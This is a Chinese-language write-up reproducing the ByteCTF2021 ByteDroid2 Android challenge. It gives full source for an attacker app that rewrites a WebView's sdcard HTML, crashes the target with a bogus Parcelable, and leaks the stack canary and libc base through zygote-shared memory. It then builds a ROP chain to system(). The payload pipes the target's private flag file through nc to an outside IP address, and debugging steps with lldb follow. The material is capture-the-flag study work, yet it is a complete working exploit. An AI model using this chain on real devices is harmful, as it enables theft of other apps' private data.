ByteCTF2021 ByteDroid2复现

参考:ByteCTF2021 writeup for Android challenges - 飞书云文档

APK分析

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.bytedroid2" platformBuildVersionCode="30" platformBuildVersionName="11">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application android:theme="@style/Theme.ByteDroid2" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.bytectf.bytedroid2.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:name="com.bytectf.bytedroid2.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.bytedroid2.SET_FLAG"/>
</intent-filter>
</receiver>
</application>
</manifest>

FlagRecevier

还是收flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.bytedroid2;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

MainActivity

MainActivity.java,通过filet协议打开/sdcard/Documents/Bytedroid2/index.html,并注册了js接口Bridgeutils,有一个func函数,接收hex编码的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package com.bytectf.bytedroid2;

import android.content.Context;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileOutputStream;
import java.util.Locale;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
public static native void func(byte[] bArr);

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getIntent().getStringExtra("url");
System.loadLibrary("Utils");
File file = new File("/sdcard/Documents/Bytedroid2", "/index.html");
if (!file.exists()) {
try {
UnZipAssetsFolder(getApplicationContext(), "game.zip", "/sdcard/Documents/Bytedroid2");
} catch (Exception e) {
e.printStackTrace();
}
}
WebView webView = new WebView(getApplicationContext());
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(this, "BridgeUtils");
setContentView(webView);
webView.loadUrl("file:" + file.getPath() + "?lang=" + Locale.getDefault().getLanguage());
}

@JavascriptInterface
public void func(String s) {
func(unhex(s));
}

private static byte[] unhex(String str) {
byte[] bArr = new byte[str.length() / 2];
int i = 0;
while (i < str.length()) {
int i2 = i + 2;
bArr[i / 2] = (byte) Integer.parseInt(str.substring(i, i2), 16);
i = i2;
}
return bArr;
}

public static void UnZipAssetsFolder(Context context, String zipFileString, String outPathString) throws Exception {
ZipInputStream inPutZip = new ZipInputStream(context.getAssets().open(zipFileString));
while (true) {
ZipEntry zipEntry = inPutZip.getNextEntry();
if (zipEntry != null) {
String szName = zipEntry.getName();
if (zipEntry.isDirectory()) {
String szName2 = szName.substring(0, szName.length() - 1);
File folder = new File(outPathString + File.separator + szName2);
if (!folder.exists()) {
folder.mkdirs();
} else {
return;
}
} else {
File file = new File(outPathString + File.separator + szName);
if (!file.exists()) {
file.getParentFile().mkdirs();
file.createNewFile();
}
FileOutputStream out = new FileOutputStream(file);
byte[] buffer = new byte[1024];
while (true) {
int len = inPutZip.read(buffer);
if (len == -1) {
break;
}
out.write(buffer, 0, len);
out.flush();
}
out.close();
}
} else {
inPutZip.close();
return;
}
}
}
}

其中

1
2
3
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(this, "BridgeUtils");
配置 风险
JavaScriptEnabled JS 可执行
AllowFileAccess file:// 可读
addJavascriptInterface(this, …) 直接暴露 Activity

js可以直接调用func的native函数

加载本地 HTML

1
webView.loadUrl("file:" + file.getPath() + "?lang=" + Locale.getDefault().getLanguage());

最终加载的是:

1
file:///sdcard/Documents/Bytedroid2/index.html?lang=zh

index.html 完全可控

1
2
3
4
5
private static byte[] unhex(String str) {
byte[] bArr = new byte[str.length() / 2];
...
Integer.parseInt(str.substring(i, i2), 16);
}

可以精确控制传入 native 的字节流

func

IDA打开so可以看见如下的代码:

这里可以直接发现栈溢出了,把a3直接拷贝到a1没有经过长度校验

Cmake参数默认,即默认的保护全开:

Stack Canary(-fstack-protector-strong)

NX(栈不可执行)

PIE + ASLR

FORTIFY_SOURCE

RELRO(至少 Partial)

image-20260126135741590

漏洞分析

Step1:篡改SDcard下的html,从而能执行任意javascript

Vulner App是运行在安卓11上targetsdk=30的apk,需要先阅读了解到安卓11中关于存储机制的更新。这个限制导致了即使在sever.py中授予了Attacker App权限WRITE_EXTERNAL_STORAGE,其也不能重写Vulner App在SDcard下创建的文件。

Android 11 中的存储空间更新 | Android Developers

在 Android 11 上运行但以 Android 10(API 级别 29)为目标平台的应用仍可请求 requestLegacyExternalStorage 属性。

  • 可以AndroidManifest.xml 里写:
1
android:requestLegacyExternalStorage="true"
  • 系统会给一个兼容期
  • 暂时继续用 Android 9/10 老的外部存储访问方式

当应用更新为以 Android 11 为目标平台后,系统会忽略 requestLegacyExternalStorage 标记。

什么是分区存储模型?每个 App 在外部存储中只能“看见”属于自己的那一小块区域,默认不能随意访问或修改其他 App 的文件

存储模型(Android 9 及以前)

谁拿到权限,谁就能在 /sdcard 里为所欲为。”

只要有WRITE_EXTERNAL_STORAGE

就可以:

  • /sdcard/Documents/*
  • /sdcard/Download/*

每个 App 都有自己的外部存储沙盒,系统划好了几块合法领地:

1
2
/sdcard/Android/data/<包名>/
/sdcard/Android/obb/<包名>/

公共目录也被限制访问方式

比如:

1
2
3
/sdcard/Documents
/sdcard/Download
/sdcard/Pictures

不再是有权限就能随便 open()

要么:

  • 通过 系统 API(MediaStore / SAF)
  • 要么用户手动授权(文件选择器)

在分区存储下:

1
WRITE_EXTERNAL_STORAGE

不再等于随意写 sdcard

继续阅读文档,其提供了一种暂时停用分区存储的做法:https://developer.android.com/training/data-storage/use-cases#opt-out-scoped-storage

image-20260126144718761

index.html 位于 /sdcard/Android/data/{vulner App}/cache 下难度更大

原因非常简单也非常现实:/sdcard/Android/data/other.package/在 Android 11 上对其他 App 基本不可写哪怕 targetSdk=28,也会被系统额外限制基本逼你走:root,adb shell或系统漏洞

Step2:让我们篡改的html内容生效,即重启VulnerApp

安卓上一个非常很普遍的现象,intent.getxxxExtra缺失trycatch,假设我们构造如下Intent

1
2
3
4
Intent intent = getPackageManager().getLaunchIntentForPackage("com.bytectf.bytedroid2");
intent.putExtra("crash", new CrashParcelable());
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(intent);

CrashParcelable.java,随便新建一个parcelable类,只要该类在目标App中找不到即可

1
2
3
package com.bytectf.pwnbytedroid2;
import android.content.Intent;
public class CrashParcelable extends Intent {}

只要Vulner App在接收到Intent后,尝试intent.getxxxExtra或者intent.hasExtra,就会触发整个bundle的反序列化,当尝试对key为crash的数据进行反序列时,由于classloader找不到该类,就会抛出 android.os.BadParcelableException: ClassNotFoundException whenunmarshalling,没有catch此错误将会导致app crash。

Android 的 Intent extras 本质上是一个 Bundle,Bundle 在跨进程/跨组件传输时会走Parcel 序列化

  • 在攻击 App 里 putExtra("crash", new CrashParcelable())系统把这个对象写进 Parcel(序列化)。
  • 目标 App 收到 Intent 后,一旦去读 extras(比如 getStringExtra / getExtras / hasExtra 等)系统就需要把Parcel里的数据反序列化还原成对象(unmarshall)。

关键点:反序列化时需要目标 App 的 ClassLoader 能加载到这个类

如果类在目标 App 里不存在(你故意用攻击 App 自己的类),就会抛:BadParcelableException: ClassNotFoundException when unmarshalling …

如果目标 App 没 catch,主线程异常直接崩溃。

这个技巧基本对所有App都通用,包括一些系统应用,但能做到的也仅仅是临时性crash,通常不被考虑为漏洞。回到此题,我们需要通过上述技巧来crash掉Vulner App,再重新launch,触发我们的html代码

需要让其重新 onCreate,loadUrl

Step3:通过jsbridge触发native上的栈溢出,并绕过ASLR和Canary,完成无回显的ROP利用

先来观察一下安卓的栈结构,通过lldb进行调试,断点到memcpy:

image-20260126151935349

那么要栈溢出完成ROP,需要解决两个问题:

  1. 如何leak canary
  2. 如何获取ASLR后的Nativelib地址

官方wp指出:

发现多次重启app,他的canary和ret addr总是固定的,于是有了一个大胆猜想。随后通过调试验证出一个结论,所有安卓应用的libc.so以及大部分公共so的基地址是一致的,不同应用间canary也是一致的,重启app进程也不会使他们的值发生改变,仅当重启手机才会变化。

猜想这很有可能与安卓的zygote机制有关,即应用都是由zygote这个进程孵化(fork)而来,ASLR和Canary在zygote进程启动的时候就已经确定,zygote重启(手机重启)这个值才会改变。在安卓本地利用的场景下,这个特性使得栈溢出几乎失去了ASLR和Canary的保护,因为Attacker App可以读取自身内存完成leak。

Zygote 是 Android 系统中所有 App 进程的母体进程。它在系统启动时创建,提前加载好运行环境,然后通过 fork() 快速复制自己来生成每一个应用进程。如果没有,假设每启动一个App都要,启动一个全新进程初始化ART/Dalvik虚拟机加载libc、 libart、 framework建ClassLoader、线程环境。很慢

有Zygote:Android开机时:系统先启动Zygote进程,Zygote去启动ART虚拟机,加载libc/libart/常用系统so,预加载Javaframework类,当你点开一个App:
系统对Zygote调用fork()得到一个几乎现成的子进程子进程再加载App自己的代码

子进程 = 父进程的完整内存快照(写时复制)

Zygisk 是 Magisk 引入的一种在 zygote fork 应用之前进行代码注入的机制。它允许你在所有 App 进程诞生的那一刻,把自己的 native 代码塞进去。

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String getLibcBase() {
String libcBase = "0";
try {
FileInputStream fileInputStream = new FileInputStream("/proc/self/maps");
String i = IOUtils.toString(fileInputStream);
for (String line : i.split("\n")) {
if (line.contains("libc.so")) {
libcBase = line.split("-")[0];
break;
}
}
} catch (IOException e) {
e.printStackTrace();
}
return libcBase;
}

public static native int getCanary();

image-20260126190515452

canary也是一样的

1
2
3
4
5
6
7
8
extern "C"
JNIEXPORT jint JNICALL
Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary(JNIEnv *env, jclass clazz) {
jbyte buf[0x80];
LOGE("%p", *(size_t *)(buf + 0x80));
return *(size_t *)(buf + 0x80);
}

显然安卓的这一机制很不合理,在本地利用场景下,栈溢出将变得大有可为。

接下来是常规的ROP,构造参数去调用libc中的system。调试发现memcpy后eax正好指向&buf,有了栈地址可以节省很大功夫,但这里不能直接用buf地址,因为在system函数的栈会与该段重合,导致内存被破坏。我们将shell命令的地址抬高,并通过gadget来运算一下eax,关键代码:

pwn这块好久没看了 ,其实这里的意思就是你已经跳转到system,但是重合会造成构造的字符串被破坏执行命令失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function poc() {
libc_base = { getLibcBase() in Java }
canary = { getCanary() in Java }
system = 0x89d20

payload = ''.padEnd(0x80 * 2, '0')
payload += p32(canary)
payload += p32(system + libc_base).repeat(8)

// 0x000aa692 : pop ecx ; ret
// 0x000596f5 : add eax, ecx ; ret
// 0x0004415b : push eax ; call esi

payload += p32(libc_base + 0x000aa692)
payload += p32(0xb4)
payload += p32(libc_base + 0x000596f5)
payload += p32(libc_base + 0x0004415b)

payload += str2hex('cat /data/data/com.bytectf.bytedroid2/files/flag | nc {ip}')
payload += '00'

BridgeUtils.func(payload)
}

APP构建

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Pwnbytedroid2">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

Utils.cpp

Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary来泄露canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <jni.h>
#include <stdlib.h>
#include <android/log.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>

#define TAG "evil"
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,TAG ,__VA_ARGS__) // 定义LOGD类型
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,TAG ,__VA_ARGS__) // 定义LOGI类型
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,TAG ,__VA_ARGS__) // 定义LOGW类型
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,TAG ,__VA_ARGS__) // 定义LOGE类型
#define LOGF(...) __android_log_print(ANDROID_LOG_FATAL,TAG ,__VA_ARGS__) // 定义LOGF类型

extern "C"
JNIEXPORT jint JNICALL
Java_com_bytectf_pwnbytedroid2_MainActivity_getCanary(JNIEnv *env, jclass clazz) {
jbyte buf[0x80];
LOGE("%p",*(size_t *)(buf+0x80));
return *(size_t *)(buf+0x80);
}

意思是在 C/C++ 里写:

1
LOGE("canary=%p", value);

就等价于:

1
__android_log_print(ANDROID_LOG_ERROR, "evil", "canary=%p", value);

LOGD:Debug(调试)

LOGI:Info(信息)

LOGW:Warn(警告)

LOGE:Error(错误)

LOGF:Fatal(致命)

MainActivity

build.gradle里需要加implementation ‘commons-io:commons-io:2.6’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
package com.bytectf.pwnbytedroid2;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;

import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AppCompatActivity;

import org.apache.commons.io.IOUtils;

import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;


public class MainActivity extends AppCompatActivity {
String ip = "101.43.26.67";

@RequiresApi(api = Build.VERSION_CODES.M)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if (PackageManager.PERMISSION_GRANTED != checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
System.exit(1);
}

System.loadLibrary("Utils");
String canary = Integer.toHexString(getCanary());
String libcBase = getLibcBase();

String path = "/sdcard/Documents/Bytedroid2";
try {
FileOutputStream fileOutputStream = new FileOutputStream(path + "/index.html");
IOUtils.write(getPayload(libcBase, canary),fileOutputStream);
} catch (IOException e) {
e.printStackTrace();
}

Intent intent = getPackageManager().getLaunchIntentForPackage("com.bytectf.bytedroid2");
intent.putExtra("crash", new CrashParcelable());
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(intent);
sleep(3000);
intent.putExtra("crash", "");
startActivity(intent);
}

public static native int getCanary();

private String getLibcBase(){
String libcBase = "0";
try {
FileInputStream fileInputStream = new FileInputStream("/proc/self/maps");
String i = IOUtils.toString(fileInputStream);
for (String line: i.split("\n")){
if(line.contains("libc.so")){
libcBase = line.split("-")[0];
break;
}
}
} catch (IOException e) {
e.printStackTrace();
}
return libcBase;
}

private String getPayload(String libcBase, String canary){
return "<button style=\"width:200px;height:200px;font-size: 30px;\" onclick=\"poc()\">poc</button>\n" +
"<button style=\"width:200px;height:200px;font-size: 30px;\" onclick=\"location.href=location.href\">F5</button>\n" +
"<script>\n" +
" \n" +
"function toLittleEdian(s) {\n" +
" return s.slice(6, 8) + s.slice(4, 6) + s.slice(2, 4) + s.slice(0, 2);\n" +
"}\n" +
"function u32(data){\n" +
" return parseInt(toLittleEdian(data), 16)\n" +
"}\n" +
"\n" +
"function p32(data){\n" +
" return toLittleEdian(data.toString(16).padStart(8,'0'))\n" +
"}\n" +
"\n" +
"function str2hex(str){\n" +
" var arr = [];\n" +
" for(var i=0;i<str.length;i++){\n" +
" arr.push(str.charCodeAt(i).toString(16));\n" +
" }\n" +
" return arr.join('');\n" +
"}\n" +
"\n" +
"function poc(){\n" +
String.format(" libc_base = 0x%s\n", libcBase) +
String.format(" canary = 0x%s\n", canary) +
" system = 0x89d20\n" +
"\n" +
" payload = ''.padEnd(0x80*2, '0')\n" +
" payload += p32(canary)\n" +
" payload += p32(system+libc_base).repeat(8)\n" +
"\n" +
"// 0x000aa692 : pop ecx ; ret\n" +
"// 0x0005dbe8 : sub eax, ecx ; ret\n" +
"// 0x000596f5 : add eax, ecx ; ret\n" +
"// 0x0004415b : push eax ; call esi\n" +
"\n" +
" payload += p32(libc_base+0x000aa692)\n" +
" payload += p32(0xb4)\n" +
" payload += p32(libc_base+0x000596f5)\n" +
" payload += p32(libc_base+0x0004415b)\n" +
"\n" +
String.format( " payload += str2hex('cat /data/data/com.bytectf.bytedroid2/files/flag | nc %s 37203')\n", ip) +
// " payload += str2hex('touch /data/data/com.bytectf.bytedroid2/flag')\n" +
" payload += '00'\n" +
" BridgeUtils.func(payload)\n" +
"}\n" +
"poc()\n" +
"\n" +
"</script>\n";
}

private void sleep(int ms){
try {
Thread.sleep(ms);
} catch (InterruptedException e) {
e.printStackTrace();
}
}

public static String android_command(String command) {
Process process = null;
BufferedReader reader = null;
StringBuffer buffer = new StringBuffer();
String temp;
try {
process = Runtime.getRuntime().exec(new String[]{"sh", "-c", command});
reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
while ((temp = reader.readLine()) != null) {
buffer.append(temp);
}
return buffer.toString();
} catch (IOException e) {
e.printStackTrace();
}

return "";
}
}

getPackageManager().getLaunchIntentForPackage:让系统返回像用户点击桌面图标一样启动该 App的 Intent

下面的HTML 把 flag 通过 nc 发到攻击者机器

调用链是:

1
2
3
4
5
6
7
JS
→ BridgeUtils.func(hex)
→ Java func(String)
→ unhex()
→ native memcpy(buf, ...)
→ 栈溢出
→ ROP

调试使用lldb,可以用android studio的或者lldb -server调试

确认架构

1
adb shell getprop ro.product.cpu.abi

把 lldb-server 推到设备

lldb-server 在 NDK 里,一般路径类似:

.../Android/Sdk/ndk/<ver>/toolchains/llvm/prebuilt/<host>/lib64/clang/<ver>/lib/linux/<arch>/lldb-server(不同版本略有差异)

推到设备:

1
2
adb push lldb-server /data/local/tmp/lldb-server
adb shell chmod 755 /data/local/tmp/lldb-server

如果你找不到 lldb-server,最简单是直接用 Android Studio 自带的 NDK/LLDB,或用 ndk-which lldb-server(有的环境支持)。

启动目标 App,并拿 PID

1
adb shell pidof com.bytectf.bytedroid2

在设备上启动 lldb-server attach 到 PID

1
adb shell /data/local/tmp/lldb-server platform --listen "*:12345" --server

(有的也用 gdbserver 风格命令,但现在更推荐 platform --listen 这种。)

本机端口转发

1
adb forward tcp:12345 tcp:12345

本机启动 lldb 连接

在电脑上:

1
lldb

进入 lldb 后:

1
2
platform select remote-android
platform connect connect://127.0.0.1:12345

然后 attach(两种方式):

按 PID attach:

1
process attach -p <PID>

或按进程名(有时不稳定):

1
process attach -n com.bytectf.bytedroid2

下断点到 memcpy

1
2
breakpoint set -n memcpy
continue

当断住后常看:

1
2
bt
register read

想看当前栈顶附近:

1
2
register read sp
memory read --format x --size 4 --count 64 $sp

想看 libc 基址/模块列表:

1
image list